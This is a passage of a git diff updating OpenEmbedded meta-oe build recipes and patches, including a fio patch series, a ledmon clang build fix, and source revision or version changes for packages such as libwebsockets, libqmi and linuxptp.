+ read_barrier();
+ pid = fork();
+@@ -2465,9 +2463,6 @@ reap:
+ _exit(ret);
+ } else if (i == fio_debug_jobno)
+ *fio_debug_jobp = pid;
+- // freeing previously allocated memory for files
+- // this memory freed MUST NOT be shared between processes, only the pointer itself may be shared within TD
+- free(files);
+ free(eo);
+ free(fd);
+ fd = NULL;
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0032-Fio-3.32.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0032-Fio-3.32.patch
new file mode 100644
index 0000000000..6aa86d1fcf
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0032-Fio-3.32.patch
@@ -0,0 +1,23 @@
+From aaad03c6c8a9ef8cc0507a356a9fa2372e1f611b Mon Sep 17 00:00:00 2001
+From: Jens Axboe <axboe@kernel.dk>
+Date: Tue, 30 Aug 2022 10:51:13 -0600
+Subject: [PATCH] Fio 3.32
+
+Signed-off-by: Jens Axboe <axboe@kernel.dk>
+---
+ FIO-VERSION-GEN | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/FIO-VERSION-GEN b/FIO-VERSION-GEN
+index 72630dd0..db073818 100755
+--- a/FIO-VERSION-GEN
++++ b/FIO-VERSION-GEN
+@@ -1,7 +1,7 @@
+ #!/bin/sh
+
+ GVF=FIO-VERSION-FILE
+-DEF_VER=fio-3.31
++DEF_VER=fio-3.32
+
+ LF='
+ '
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio_2022.bb b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio_2022.bb
new file mode 100644
index 0000000000..108b2b5c10
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio_2022.bb
@@ -0,0 +1,77 @@
+SUMMARY = "Filesystem and hardware benchmark and stress tool"
+DESCRIPTION = "fio is an I/O tool meant to be used both for benchmark and \
+stress/hardware verification. It has support for a number of I/O engines, \
+I/O priorities (for newer Linux kernels), rate I/O, forked or threaded jobs, \
+and much more. It can work on block devices as well as files. fio accepts \
+job descriptions in a simple-to-understand text format. Several example job \
+files are included. fio displays all sorts of I/O performance information."
+HOMEPAGE = "http://freecode.com/projects/fio"
+SECTION = "console/tests"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+DEPENDS = "libaio zlib coreutils-native"
+DEPENDS += "${@bb.utils.contains('MACHINE_FEATURES', 'pmem', 'pmdk', '', d)}"
+RDEPENDS:${PN} = "python3-core bash"
+
+PACKAGECONFIG_NUMA = "numa"
+# ARM does not currently support NUMA
+PACKAGECONFIG_NUMA:arm = ""
+PACKAGECONFIG_NUMA:armeb = ""
+
+PACKAGECONFIG ??= "${PACKAGECONFIG_NUMA}"
+PACKAGECONFIG[numa] = ",--disable-numa,numactl"
+
+SRCREV = "6e44f31b9241cdc56d0857fb10ddb2ec40faa541"
+SRC_URI = "git://git.kernel.dk/fio.git;branch=master \
+ file://0001-Fio-3.31.patch \
+ file://0002-lib-rand-Enhance-__fill_random_buf-using-the-multi-r.patch \
+ file://0003-lib-rand-get-rid-of-unused-MAX_SEED_BUCKETS.patch \
+ file://0004-ioengines-merge-filecreate-filestat-filedelete-engin.patch \
+ file://0005-engines-http-Add-storage-class-option-for-s3.patch \
+ file://0006-engines-http-Add-s3-crypto-options-for-s3.patch \
+ file://0007-doc-Add-usage-and-example-about-s3-storage-class-and.patch \
+ file://0008-README-link-to-GitHub-releases-for-Windows.patch \
+ file://0009-engines-xnvme-fix-segfault-issue-with-xnvme-ioengine.patch \
+ file://0010-doc-update-fio-doc-for-xnvme-engine.patch \
+ file://0011-test-add-latency-test-using-posixaio-ioengine.patch \
+ file://0012-test-fix-hash-for-t0016.patch \
+ file://0013-doc-get-rid-of-trailing-whitespace.patch \
+ file://0014-doc-clarify-that-I-O-errors-may-go-unnoticed-without.patch \
+ file://0015-Revert-Minor-style-fixups.patch \
+ file://0016-Revert-Fix-multithread-issues-when-operating-on-a-si.patch \
+ file://0017-Add-wait-for-handling-SIGBREAK.patch \
+ file://0018-engines-io_uring-pass-back-correct-error-value-when-.patch \
+ file://0019-Enable-CPU-affinity-support-on-Android.patch \
+ file://0020-io_uring-Replace-pthread_self-with-s-tid.patch \
+ file://0021-engines-io_uring-delete-debug-code.patch \
+ file://0022-t-io_uring-prep-for-including-engines-nvme.h-in-t-io.patch \
+ file://0023-t-io_uring-add-support-for-async-passthru.patch \
+ file://0024-t-io_uring-fix-64-bit-cast-on-32-bit-archs.patch \
+ file://0025-test-add-basic-test-for-io_uring-ioengine.patch \
+ file://0026-t-io_uring-remove-duplicate-definition-of-gettid.patch \
+ file://0027-test-add-some-tests-for-seq-and-rand-offsets.patch \
+ file://0028-test-use-Ubuntu-22.04-for-64-bit-tests.patch \
+ file://0029-test-get-32-bit-Ubuntu-22.04-build-working.patch \
+ file://0030-test-add-tests-for-lfsr-and-norandommap.patch \
+ file://0031-backend-revert-bad-memory-leak-fix.patch \
+ file://0032-Fio-3.32.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+# avoids build breaks when using no-static-libs.inc
+DISABLE_STATIC = ""
+
+EXTRA_OEMAKE = "CC='${CC}' LDFLAGS='${LDFLAGS}'"
+EXTRA_OECONF = "${@bb.utils.contains('MACHINE_FEATURES', 'x86', '--disable-optimizations', '', d)}"
+
+do_configure() {
+ ./configure ${EXTRA_OECONF}
+}
+
+do_install() {
+ oe_runmake install DESTDIR=${D} prefix=${prefix} mandir=${mandir}
+ install -d ${D}/${docdir}/${PN}
+ cp -R --no-dereference --preserve=mode,links -v ${S}/examples ${D}/${docdir}/${PN}/
+}
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio_3.32.bb b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio_3.32.bb
deleted file mode 100644
index 90e28340c6..0000000000
--- a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio_3.32.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Filesystem and hardware benchmark and stress tool"
-DESCRIPTION = "fio is an I/O tool meant to be used both for benchmark and \
-stress/hardware verification. It has support for a number of I/O engines, \
-I/O priorities (for newer Linux kernels), rate I/O, forked or threaded jobs, \
-and much more. It can work on block devices as well as files. fio accepts \
-job descriptions in a simple-to-understand text format. Several example job \
-files are included. fio displays all sorts of I/O performance information."
-HOMEPAGE = "http://freecode.com/projects/fio"
-SECTION = "console/tests"
-LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-DEPENDS = "libaio zlib coreutils-native"
-DEPENDS += "${@bb.utils.contains('MACHINE_FEATURES', 'pmem', 'pmdk', '', d)}"
-RDEPENDS:${PN} = "python3-core bash"
-
-PACKAGECONFIG_NUMA = "numa"
-# ARM does not currently support NUMA
-PACKAGECONFIG_NUMA:arm = ""
-PACKAGECONFIG_NUMA:armeb = ""
-
-PACKAGECONFIG ??= "${PACKAGECONFIG_NUMA}"
-PACKAGECONFIG[numa] = ",--disable-numa,numactl"
-
-SRCREV = "db7fc8d864dc4fb607a0379333a0db60431bd649"
-SRC_URI = "git://git.kernel.dk/fio.git;branch=master"
-
-S = "${WORKDIR}/git"
-
-# avoids build breaks when using no-static-libs.inc
-DISABLE_STATIC = ""
-
-EXTRA_OEMAKE = "CC='${CC}' LDFLAGS='${LDFLAGS}'"
-EXTRA_OECONF = "${@bb.utils.contains('MACHINE_FEATURES', 'x86', '--disable-optimizations', '', d)}"
-
-do_configure() {
- ./configure ${EXTRA_OECONF}
-}
-
-do_install() {
- oe_runmake install DESTDIR=${D} prefix=${prefix} mandir=${mandir}
- install -d ${D}/${docdir}/${PN}
- cp -R --no-dereference --preserve=mode,links -v ${S}/examples ${D}/${docdir}/${PN}/
-}
diff --git a/meta-openembedded/meta-oe/recipes-bsp/bolt/bolt_0.9.5.bb b/meta-openembedded/meta-oe/recipes-bsp/bolt/bolt_0.9.6.bb
index 0cc9d85422..860cb8381f 100644
--- a/meta-openembedded/meta-oe/recipes-bsp/bolt/bolt_0.9.5.bb
+++ b/meta-openembedded/meta-oe/recipes-bsp/bolt/bolt_0.9.6.bb
@@ -8,7 +8,7 @@ DEPENDS = "udev polkit dbus"
REQUIRED_DISTRO_FEATURES = "polkit"
SRC_URI = "git://gitlab.freedesktop.org/bolt/bolt.git;protocol=https;branch=master"
-SRCREV = "5a8a5866a847561566499847d46a97c612b4e6dd"
+SRCREV = "f03c50b22ae3fda26711ddabd91e2c5dd8103478"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon/0001-Don-t-build-with-Werror-to-fix-compile-error.patch b/meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon/0001-Don-t-build-with-Werror-to-fix-compile-error.patch
deleted file mode 100644
index 09f4993a25..0000000000
--- a/meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon/0001-Don-t-build-with-Werror-to-fix-compile-error.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-Subject: [PATCH] Don't build with -Werror to fix compile error.
-
-| 550 | _dump_sgpio_amd(&amd_reg->amd);
-| | ^~~~~~~~~~~~~
-| amd_sgpio.c: In function '_write_amd_register':
-| amd_sgpio.c:558:18: error: taking address of packed member of 'struct amd_register' may result in an unaligned pointer value [-Werror=address-of-packed-member]
-
-Upstream-Status: Submitted
-https://github.com/intel/ledmon/pull/48/commits
-
-Signed-off-by: Zheng Ruoqin <zhengrq.fnst@cn.fujitsu.com>
----
- configure.ac | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 7bc20f8..7e01bd5 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -22,7 +22,6 @@ AX_AM_CFLAGS_ADD([-Werror=format-truncation=1])
- AX_AM_CFLAGS_ADD([-Werror=shift-negative-value])
- AX_AM_CFLAGS_ADD([-Werror=alloca])
- AX_AM_CFLAGS_ADD([-Werror=missing-field-initializers])
--AX_AM_CFLAGS_ADD([-Werror])
- AX_AM_CFLAGS_ADD([-Werror=format-signedness])
-
- AC_SUBST([AM_CFLAGS])
---
-2.7.4
-
diff --git a/meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon/0001-fix-build-with-clang.patch b/meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon/0001-fix-build-with-clang.patch
new file mode 100644
index 0000000000..f1e1d6f780
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon/0001-fix-build-with-clang.patch
@@ -0,0 +1,90 @@
+From 28fd86fb4e18af181174176530a80672de4449d2 Mon Sep 17 00:00:00 2001
+From: alperak <alperyasinak1@gmail.com>
+Date: Sat, 18 Nov 2023 12:27:17 +0300
+Subject: [PATCH] fix build with clang
+
+struct ibpi2value is a structure which contains 2 unsigned integers. In
+a number of cases the code was not initializing a value for the last value
+in the pair in struct ibpi2value ibpi_to_attention. This was raised when
+using clang compiler.
+
+vmdssd.c:49:27: error: missing field 'value' initializer
+[-Werror,-Wmissing-field-initializers]
+ {LED_IBPI_PATTERN_UNKNOWN}
+
+dellssd.c:74:27: error: missing field 'value' initializer
+[-Werror,-Wmissing-field-initializers]
+ {LED_IBPI_PATTERN_UNKNOWN}
+
+amd_ipmi.c:57:27: error: missing field 'value'
+initializer [-Werror,-Wmissing-field-initializers]
+ {LED_IBPI_PATTERN_UNKNOWN}
+
+npem.c:76:27: error: missing field 'value'
+initializer [-Werror,-Wmissing-field-initializers]
+ {LED_IBPI_PATTERN_UNKNOWN}
+
+Upstream-Status: Submitted [https://github.com/intel/ledmon/pull/179]
+Signed-off-by: alperak <alperyasinak1@gmail.com>
+---
+ src/amd_ipmi.c | 2 +-
+ src/dellssd.c | 2 +-
+ src/npem.c | 2 +-
+ src/vmdssd.c | 2 +-
+ 4 files changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/src/amd_ipmi.c b/src/amd_ipmi.c
+index 726f77d..ad36e9e 100644
+--- a/src/amd_ipmi.c
++++ b/src/amd_ipmi.c
+@@ -53,7 +53,7 @@ const struct ibpi2value ibpi2amd_ipmi[] = {
+ {IBPI_PATTERN_FAILED_ARRAY, 0x45},
+ {IBPI_PATTERN_REBUILD, 0x46},
+ {IBPI_PATTERN_HOTSPARE, 0x47},
+- {IBPI_PATTERN_UNKNOWN}
++ {IBPI_PATTERN_UNKNOWN, 0}
+ };
+
+ #define MG9098_CHIP_ID_REG 0x63
+diff --git a/src/dellssd.c b/src/dellssd.c
+index 3c10ec7..7f02ea1 100644
+--- a/src/dellssd.c
++++ b/src/dellssd.c
+@@ -71,7 +71,7 @@ static const struct ibpi2value ibpi2ssd[] = {
+ {IBPI_PATTERN_FAILED_DRIVE, BP_FAULT | BP_ONLINE},
+ {IBPI_PATTERN_LOCATE, BP_IDENTIFY | BP_ONLINE},
+ {IBPI_PATTERN_LOCATE_OFF, BP_ONLINE},
+- {IBPI_PATTERN_UNKNOWN}
++ {IBPI_PATTERN_UNKNOWN, 0}
+ };
+
+ #define DELL_OEM_NETFN 0x30
+diff --git a/src/npem.c b/src/npem.c
+index c21276d..3499169 100644
+--- a/src/npem.c
++++ b/src/npem.c
+@@ -72,7 +72,7 @@ const struct ibpi2value ibpi_to_npem_capability[] = {
+ {IBPI_PATTERN_FAILED_DRIVE, PCI_NPEM_FAIL_CAP},
+ {IBPI_PATTERN_LOCATE, PCI_NPEM_LOCATE_CAP},
+ {IBPI_PATTERN_LOCATE_OFF, PCI_NPEM_OK_CAP},
+- {IBPI_PATTERN_UNKNOWN}
++ {IBPI_PATTERN_UNKNOWN, 0}
+ };
+
+ static struct pci_access *get_pci_access()
+diff --git a/src/vmdssd.c b/src/vmdssd.c
+index 51af591..9c63d90 100644
+--- a/src/vmdssd.c
++++ b/src/vmdssd.c
+@@ -45,7 +45,7 @@ struct ibpi2value ibpi_to_attention[] = {
+ {IBPI_PATTERN_REBUILD, ATTENTION_REBUILD},
+ {IBPI_PATTERN_LOCATE_OFF, ATTENTION_OFF},
+ {IBPI_PATTERN_ONESHOT_NORMAL, ATTENTION_OFF},
+- {IBPI_PATTERN_UNKNOWN}
++ {IBPI_PATTERN_UNKNOWN, 0}
+ };
+
+ #define SYSFS_PCIEHP "/sys/module/pciehp"
+--
+2.25.1
+
diff --git a/meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon_git.bb b/meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon_0.97.bb
index dbfd1e7bc0..88a6e5bb30 100644
--- a/meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon_git.bb
+++ b/meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon_0.97.bb
@@ -5,37 +5,30 @@ DESCRIPTION = "The utilities are designed primarily to be used on storage server
"
HOMEPAGE = "https://github.com/intel/ledmon"
-LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
-"
+LICENSE = "LGPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
-DEPENDS = "sg3-utils udev"
+DEPENDS = "sg3-utils udev pciutils"
-inherit autotools systemd
+inherit autotools systemd pkgconfig
SYSTEMD_SERVICE:${PN} = "ledmon.service"
-# 0.93
SRC_URI = "git://github.com/intel/ledmon;branch=master;protocol=https \
- file://0002-include-sys-select.h-and-sys-types.h.patch \
- file://0001-Don-t-build-with-Werror-to-fix-compile-error.patch \
- "
+ file://0002-include-sys-select.h-and-sys-types.h.patch \
+ file://0001-fix-build-with-clang.patch"
-SRCREV = "1d72f9cb5c9163b2ecdf19709935720e65f5b90e"
+SRCREV = "b0edae14e8660b80ffe0384354038a9f62e2978d"
COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
COMPATIBLE_HOST:libc-musl = "null"
S = "${WORKDIR}/git"
+
+EXTRA_OECONF += "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--enable-systemd', '', d)}"
+
EXTRA_OEMAKE = "CC='${CC}' LDFLAGS='${LDFLAGS}' CFLAGS='${CFLAGS}'"
# The ledmon sources include headers in ${S}/config to build but not in CFLAGS.
# We need to add this include path in CFLAGS.
CFLAGS += "-I${S}/config"
-
-do_install:append() {
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${systemd_unitdir}/system
- install -m 0755 ${S}/systemd/ledmon.service ${D}${systemd_unitdir}/system
- fi
-}
diff --git a/meta-openembedded/meta-oe/recipes-bsp/lsscsi/lsscsi_0.32.bb b/meta-openembedded/meta-oe/recipes-bsp/lsscsi/lsscsi_030.bb
index 9e6eb7b724..9d3d7d8060 100644
--- a/meta-openembedded/meta-oe/recipes-bsp/lsscsi/lsscsi_0.32.bb
+++ b/meta-openembedded/meta-oe/recipes-bsp/lsscsi/lsscsi_030.bb
@@ -6,8 +6,8 @@ LIC_FILES_CHKSUM="file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
SRC_URI = "http://sg.danny.cz/scsi/${BP}.tgz"
-SRC_URI[sha256sum] = "0a800e9e94dca2ab702d65d72777ae8cae078e3d74d0bcbed64ba0849e8029a1"
+SRC_URI[sha256sum] = "619a2187405f02c5f57682f3478bffc75326803cd08839e39d434250c5518b15"
inherit autotools
-S = "${WORKDIR}/lsscsi-${PV}"
+S = "${WORKDIR}/lsscsi-${PV}r154"
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/gensio/gensio_2.7.6.bb b/meta-openembedded/meta-oe/recipes-connectivity/gensio/gensio_2.7.7.bb
index 21b9f3f3bf..3deab25ea5 100644
--- a/meta-openembedded/meta-oe/recipes-connectivity/gensio/gensio_2.7.6.bb
+++ b/meta-openembedded/meta-oe/recipes-connectivity/gensio/gensio_2.7.7.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
"
-SRCREV = "7a26bcec16453d01790b41d9d5495f40cc668bb6"
+SRCREV = "6af40181c33bf97bde8cb99cccc4c2168abcd24e"
SRC_URI = "git://github.com/cminyard/gensio;protocol=https;branch=master"
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/irssi/irssi_1.4.4.bb b/meta-openembedded/meta-oe/recipes-connectivity/irssi/irssi_1.4.5.bb
index 52de589dd8..5b5af30607 100644
--- a/meta-openembedded/meta-oe/recipes-connectivity/irssi/irssi_1.4.4.bb
+++ b/meta-openembedded/meta-oe/recipes-connectivity/irssi/irssi_1.4.5.bb
@@ -6,7 +6,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=55fdc1113306167d6ea2561404ce02f8"
DEPENDS = "glib-2.0 ncurses openssl"
SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz"
-SRC_URI[sha256sum] = "fefe9ec8c7b1475449945c934a2360ab12693454892be47a6d288c63eb107ead"
+SRC_URI[sha256sum] = "72a951cb0ad622785a8962801f005a3a412736c7e7e3ce152f176287c52fe062"
UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/libmbim/libmbim_1.28.4.bb b/meta-openembedded/meta-oe/recipes-connectivity/libmbim/libmbim_1.31.1.bb
index a35d9898ec..7001d3e368 100644
--- a/meta-openembedded/meta-oe/recipes-connectivity/libmbim/libmbim_1.28.4.bb
+++ b/meta-openembedded/meta-oe/recipes-connectivity/libmbim/libmbim_1.31.1.bb
@@ -11,8 +11,8 @@ DEPENDS = "glib-2.0 glib-2.0-native libgudev"
inherit meson pkgconfig bash-completion gobject-introspection
-SRCREV = "7f1c7907c4654ba5c619a635cef5475ca161d027"
-SRC_URI = "git://gitlab.freedesktop.org/mobile-broadband/libmbim.git;protocol=https;branch=mbim-1-28"
+SRCREV = "db0f5a09d4d29145620b81df0fdd8f4786a8fb59"
+SRC_URI = "git://gitlab.freedesktop.org/mobile-broadband/libmbim.git;protocol=https;branch=main"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/libmtp/libmtp_1.1.20.bb b/meta-openembedded/meta-oe/recipes-connectivity/libmtp/libmtp_1.1.21.bb
index 41fc46c31e..94cbef8fc1 100644
--- a/meta-openembedded/meta-oe/recipes-connectivity/libmtp/libmtp_1.1.20.bb
+++ b/meta-openembedded/meta-oe/recipes-connectivity/libmtp/libmtp_1.1.21.bb
@@ -19,7 +19,7 @@ DEPENDS:append:class-target = " ${BPN}-native"
SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BP}.tar.gz"
SRC_URI:append:class-target = " file://0001-Use-native-mtp-hotplug.patch"
-SRC_URI[sha256sum] = "c9191dac2f5744cf402e08641610b271f73ac21a3c802734ec2cedb2c6bc56d0"
+SRC_URI[sha256sum] = "f4c1ceb3df020a6cb851110f620c14fe399518c494ed252039cbfb4e34335135"
inherit autotools pkgconfig lib_package
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/libqmi/libqmi_1.32.4.bb b/meta-openembedded/meta-oe/recipes-connectivity/libqmi/libqmi_1.34.0.bb
index 7b7a3b2350..2cb843a4af 100644
--- a/meta-openembedded/meta-oe/recipes-connectivity/libqmi/libqmi_1.32.4.bb
+++ b/meta-openembedded/meta-oe/recipes-connectivity/libqmi/libqmi_1.34.0.bb
@@ -12,8 +12,8 @@ DEPENDS = "glib-2.0 glib-2.0-native"
inherit meson pkgconfig bash-completion gobject-introspection
-SRCREV = "6e248aceb66f53b467b343bca1c467a8211dd30d"
-SRC_URI = "git://gitlab.freedesktop.org/mobile-broadband/libqmi.git;protocol=https;branch=qmi-1-32"
+SRCREV = "3f07d6e5b4677558543b3b4484ea88ad92257e92"
+SRC_URI = "git://gitlab.freedesktop.org/mobile-broadband/libqmi.git;protocol=https;branch=qmi-1-34"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/libtorrent/libtorrent_git.bb b/meta-openembedded/meta-oe/recipes-connectivity/libtorrent/libtorrent_git.bb
index fec05571d1..c235547fea 100644
--- a/meta-openembedded/meta-oe/recipes-connectivity/libtorrent/libtorrent_git.bb
+++ b/meta-openembedded/meta-oe/recipes-connectivity/libtorrent/libtorrent_git.bb
@@ -6,16 +6,17 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=393a5ca445f6965873eca0259a17f833"
DEPENDS = "zlib libsigc++-2.0 openssl cppunit"
+PV = "0.13.8+git"
+
SRC_URI = "git://github.com/rakshasa/libtorrent;branch=master;protocol=https"
SRCREV = "e60f222241319aaae482789517ad00ae9344bd13"
-CVE_STATUS[CVE-2009-1760] = "backported-patch: patched in our product"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
-PV = "0.13.8+git${SRCPV}"
+CVE_STATUS[CVE-2009-1760] = "backported-patch: patched in our product"
S = "${WORKDIR}/git"
-
PACKAGECONFIG ??= "instrumentation aligned"
PACKAGECONFIG:remove:mipsarch = "instrumentation"
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/libwebsockets/libwebsockets/0001-Fix-Werror-enum-int-mismatch-in-lws_tls_server_abort.patch b/meta-openembedded/meta-oe/recipes-connectivity/libwebsockets/libwebsockets/0001-Fix-Werror-enum-int-mismatch-in-lws_tls_server_abort.patch
deleted file mode 100644
index 41d004d9ff..0000000000
--- a/meta-openembedded/meta-oe/recipes-connectivity/libwebsockets/libwebsockets/0001-Fix-Werror-enum-int-mismatch-in-lws_tls_server_abort.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 722e44cb5b74cae206f47a6dc0d985eba8ed1b2e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 26 Jan 2023 17:17:49 -0800
-Subject: [PATCH] Fix -Werror=enum-int-mismatch in
- lws_tls_server_abort_connection()
-
-GCC 13 is findinf this function signature mismatch.
-
-../git/lib/tls/openssl/openssl-server.c:713:1: error: conflicting types for 'lws_tls_server_abort_connection' due to enum/integer mismatch; have 'int(struct lws *)' [-Werror=enum-int-mismatch]
-
-Upstream-Status: Submitted [https://github.com/warmcat/libwebsockets/pull/2824]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/tls/openssl/openssl-server.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/lib/tls/openssl/openssl-server.c b/lib/tls/openssl/openssl-server.c
-index f2e77324f..43d65e030 100644
---- a/lib/tls/openssl/openssl-server.c
-+++ b/lib/tls/openssl/openssl-server.c
-@@ -699,7 +699,7 @@ lws_tls_server_new_nonblocking(struct lws *wsi, lws_sockfd_type accept_fd)
- return 0;
- }
-
--int
-+enum lws_ssl_capable_status
- lws_tls_server_abort_connection(struct lws *wsi)
- {
- if (wsi->tls.use_ssl)
---
-2.39.1
-
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/libwebsockets/libwebsockets_4.3.2.bb b/meta-openembedded/meta-oe/recipes-connectivity/libwebsockets/libwebsockets_4.3.3.bb
index 5e6069fb81..4518e2faaa 100644
--- a/meta-openembedded/meta-oe/recipes-connectivity/libwebsockets/libwebsockets_4.3.2.bb
+++ b/meta-openembedded/meta-oe/recipes-connectivity/libwebsockets/libwebsockets_4.3.3.bb
@@ -4,11 +4,11 @@ LICENSE = "MIT & Zlib & BSD-3-Clause & Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=382bfdf329e774859fd401eaf850d29b"
DEPENDS = "zlib"
+DEPENDS:append:class-native = " libcap-native"
S = "${WORKDIR}/git"
-SRCREV = "b0a749c8e7a8294b68581ce4feac0e55045eb00b"
-SRC_URI = "git://github.com/warmcat/libwebsockets.git;protocol=https;branch=v4.3-stable \
- file://0001-Fix-Werror-enum-int-mismatch-in-lws_tls_server_abort.patch"
+SRCREV = "4415e84c095857629863804e941b9e1c2e9347ef"
+SRC_URI = "git://github.com/warmcat/libwebsockets.git;protocol=https;branch=v4.3-stable"
UPSTREAM_CHECK_URI = "https://github.com/warmcat/${BPN}/releases"
UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
@@ -61,3 +61,5 @@ RDEPENDS:${PN}-dev += " ${@bb.utils.contains('PACKAGECONFIG', 'static', '${PN}-s
# Avoid absolute paths to end up in the sysroot.
SSTATE_SCAN_FILES += "*.cmake"
+
+BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/0001-include-string.h-for-strncpy.patch b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/0001-include-string.h-for-strncpy.patch
index 60f2079d37..ae54469927 100644
--- a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/0001-include-string.h-for-strncpy.patch
+++ b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/0001-include-string.h-for-strncpy.patch
@@ -1,4 +1,4 @@
-From d49b4fb8063ecd89617587e5ea566cc9da9393ef Mon Sep 17 00:00:00 2001
+From ecfc8e287eb6811e42c4e2800a913822f554d7c8 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 31 Aug 2022 19:09:18 -0700
Subject: [PATCH] include string.h for strncpy()
@@ -6,12 +6,13 @@ Subject: [PATCH] include string.h for strncpy()
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
interface.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/interface.c b/interface.c
-index 65bdff0..5228db9 100644
+index 29229ad..9a83c36 100644
--- a/interface.c
+++ b/interface.c
@@ -5,6 +5,7 @@
@@ -22,6 +23,3 @@ index 65bdff0..5228db9 100644
#include "interface.h"
struct interface {
---
-2.37.3
-
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/0001-makefile-use-conditional-assignment-for-KBUILD_OUTPU.patch b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/0001-makefile-use-conditional-assignment-for-KBUILD_OUTPU.patch
deleted file mode 100644
index fb51906521..0000000000
--- a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/0001-makefile-use-conditional-assignment-for-KBUILD_OUTPU.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From dfd38cb29c0768692f886d3ab9158bd2b3132582 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Tue, 22 Nov 2022 15:20:48 +0800
-Subject: [PATCH] makefile: use conditional assignment for KBUILD_OUTPUT
-
-Refer [1],from make 4.4, all variables that are marked as export will
-also be passed to the shell started by the shell function. use "=" will
-make KBUILD_OUTPUT always empty for shell function, use "?=" to make
-"export KBUILD_OUTPUT" in enrironment can work.
-
-[snip of 4.4 NEWS]
-* WARNING: Backward-incompatibility!
- Previously makefile variables marked as export were not exported to commands
- started by the $(shell ...) function. Now, all exported variables are
- exported to $(shell ...).
-[snip]
-
-[1] https://git.savannah.gnu.org/cgit/make.git/tree/NEWS?h=4.4&id=ed493f6c9116cc217b99c2cfa6a95f15803235a2#n74
-
-Upstream-Status: Submitted [linuxptp-devel@lists.sourceforge.net]
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/makefile b/makefile
-index 529d8a0..3db60fa 100644
---- a/makefile
-+++ b/makefile
-@@ -15,7 +15,7 @@
